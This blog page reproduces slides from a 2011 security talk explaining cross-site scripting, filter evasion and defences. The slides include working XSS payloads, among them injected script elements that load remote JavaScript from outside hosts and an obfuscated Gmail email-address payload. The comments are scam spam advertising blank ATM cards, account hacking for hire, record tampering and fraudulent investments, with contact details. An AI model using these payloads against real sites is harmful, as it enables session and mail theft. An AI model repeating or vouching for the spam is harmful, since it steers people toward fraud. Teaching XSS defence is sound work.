Pages

Cross Site Scripting and Hacking Websites

Cross Site Scripting for Dummies

genda
o What is XSS
o XSS from simple to complex
Simple
Advanced
IDS evasion
Stealing data from servers
Creating zombies
o 15 demos, live or recreated
o Protection
Security Days Yverdon 2011 OS Objectif Sécurité SA, Gland, www.objectif-securite.ch 2
What is cross site scripting ?
o No 2 on the OWASP top 10 list
o XSS is a special case of injection
Injection into a Web page
Security Days Yverdon 2011 OS Objectif Sécurité SA, Gland, www.objectif-securite.ch 3
Inection attacks
o If an application accepts inputs from the user
and
o If that application uses these inputs in a specific context
then
o The inputs can have special effects
o For XSS, the context is the web page
Html code
Javascript code
Security Days Yverdon 2011 OS Objectif Sécurité SA, Gland, www.objectif-securite.ch 4
Examples: HTML
o Ford motors
o The daily express
o HEIG-VD...
Security Days Yverdon 2011 OS Objectif Sécurité SA, Gland, www.objectif-securite.ch 5
Examples: Javascript
o Run scripts from other sites: NYSE
o Stealing cookies
Security Days Yverdon 2011 OS Objectif Sécurité SA, Gland, www.objectif-securite.ch 6
Reflexive vs Persistent
o If the attack is coded in the URL, we have to trick the
victim into clicking on a link
The server will reflect the attack back to the victim
o If we can store the attack on the web site, it will be
persistent.
Typical example: guestbook, forums, comments
Security Days Yverdon 2011 OS Objectif Sécurité SA, Gland, www.objectif-securite.ch 7
Example: persistent XSS
o La-nai CMS
Security Days Yverdon 2011 OS Objectif Sécurité SA, Gland, www.objectif-securite.ch 8
DOM based XSS
o In DOM based XSS, it is not the web server that inserts the
malicious data into the document, but the document itself!
pos=document.URL.indexOf("name=")+5;
docuemnt.write(
document.URL.substring(pos,document.URL.length) );
o If a name anchor (#) is used, the server will not see the attack
o If the file local, the attack will execute with hi privileges,
without a server
Security Days Yverdon 2011 OS Objectif Sécurité SA, Gland, www.objectif-securite.ch 9
IDS Evasion
o Some characters or keywords my be blocked by the
server or a filter
Use encoding:
• Character encoding: %3d, = , ...
• String.fromCharCode(120,115,115)
• Regexp /hello world/ = “hello world "
• Avoid script: <img src=“/“ onerror=alert(“xss”)> o Abuse Javascript frameworks
o Work on the DOM model
SeIDS Evasion
o Abusing the javascript framework
field1=" onclick=“$('form').attr('action', 'http://www.objectif-securite.ch/post')"> <p id=“
o Abusing the DOM model
field1="onclick= var e=document.createElement('scr‘+'ipt'); e.src='http://osq.ch/xss.js‘; document['bo' +'dy'].appendChild(e) "& field2=" onclick=attack() "
Security Days Yverdon 2011 OS Objectif Sécurité SA, Gland, www.objectif-securite.ch 11
Exploiting the server
o In some cases, the server needs to render the HTML
pages
It will not execute javascript but....
o Using the embed command
Gives access to local files
Allows to do internal scans!
Security Days Yverdon 2011 OS Objectif Sécurité SA, Gland, www.objectif-securite.ch 12
New sources of XSS
o iPhone and Android apps can make use of HTML, CSS and
JavaScript
o In december, Ben Schmidt, found a hole in the Android Gmail App that allowed to inject javascript into e-mail addresses
It made it possible to sliently forward all the e-mail.
o Email address :
" onload='var f=String.fromCharCode;var d=document; var s=d.createElement(f(83,67,82,73,80,84)); s.src=f(47,47,66,73,84,46,76,89,47,105,51,51,72,100,86);d.getElementsByT agName(f(72,69,65,68))[0].appendChild(s);' "@somedmn.com
Security Days Yverdon 2011 OS Objectif Sécurité SA, Gland, www.objectif-securite.ch 13
JavaScript Zombies
o What can you do once you can inject Javascript?
o Ex: BeEF: the browser exploitation framework
Key logger
Sends browser exploits
Remote commands the browser to do port scans
o HEIG
Security Days Yverdon 2011 OS Objectif Sécurité SA, Gland, www.objectif-securite.ch 14
How to protect: it should be easy
o Never trust user inputs
Do the following two things:
o Validation: accept only expected inputs
o Escaping: remove side-effects when using user inputs
print htmlentities($user%input);
print htmlentities(“hello world”);

4 comments:

  1. I am a Single full time dad on disability getting no help from their moms. It a struggle every day. My boys are 15 and 9 been doing this by myself for 8 years now it’s completely drained all my savings everything . These guys are the present day ROBIN HOOD. Im back on my feet again and my kids can have a better life all thanks to the blank card i acquired from skylink technology. Now i can withdraw up too 3000 per day Contact them as well on Mail: skylinktechnes@yahoo.com   or   whatsspp/telegram: +1(213)785-1553

    ReplyDelete
  2. Do you need to increase your credit score?
    Do you intend to upgrade your school grade?
    Do you want to hack your cheating spouse Email, whatsapp, Facebook, instagram or any social network?
    Do you need any information concerning any database.
    Do you need to retrieve deleted files?
    Do you need to clear your criminal records or DMV?
    Do you want to remove any site or link from any blog?
    you should contact this hacker, he is reliable and good at the hack jobs..
    contact : cybergoldenhacker at gmail dot com

    ReplyDelete
  3. Are you interested in trading bitcoin binary and forex trade where you can earn 100% of your investment daily If you invest as low as $200 you will get a profit of $2,000 after 72 hoursand he deals with any kind of hack if you are intrested you can contact him via email: hackintechnology@gmail.com +12132951376(WHATSAPP) no force but i am sure you would come back thanking me

    ReplyDelete
  4. Are you interested in the service of a hacker to get into a phone, facebook account, snapchat, Instagram, yahoo, Whatsapp, get verified on any social network account, increase your followers by any amount, bank wire and bank transfer. Contact him on= hackintechnology@gmail.com +12132951376(WHATSAPP)

    ReplyDelete

Statistics Help Online

Are you a college student taking a statistics course and interested in paying someone to do mymathlab  for you ? We provide stats help in ar...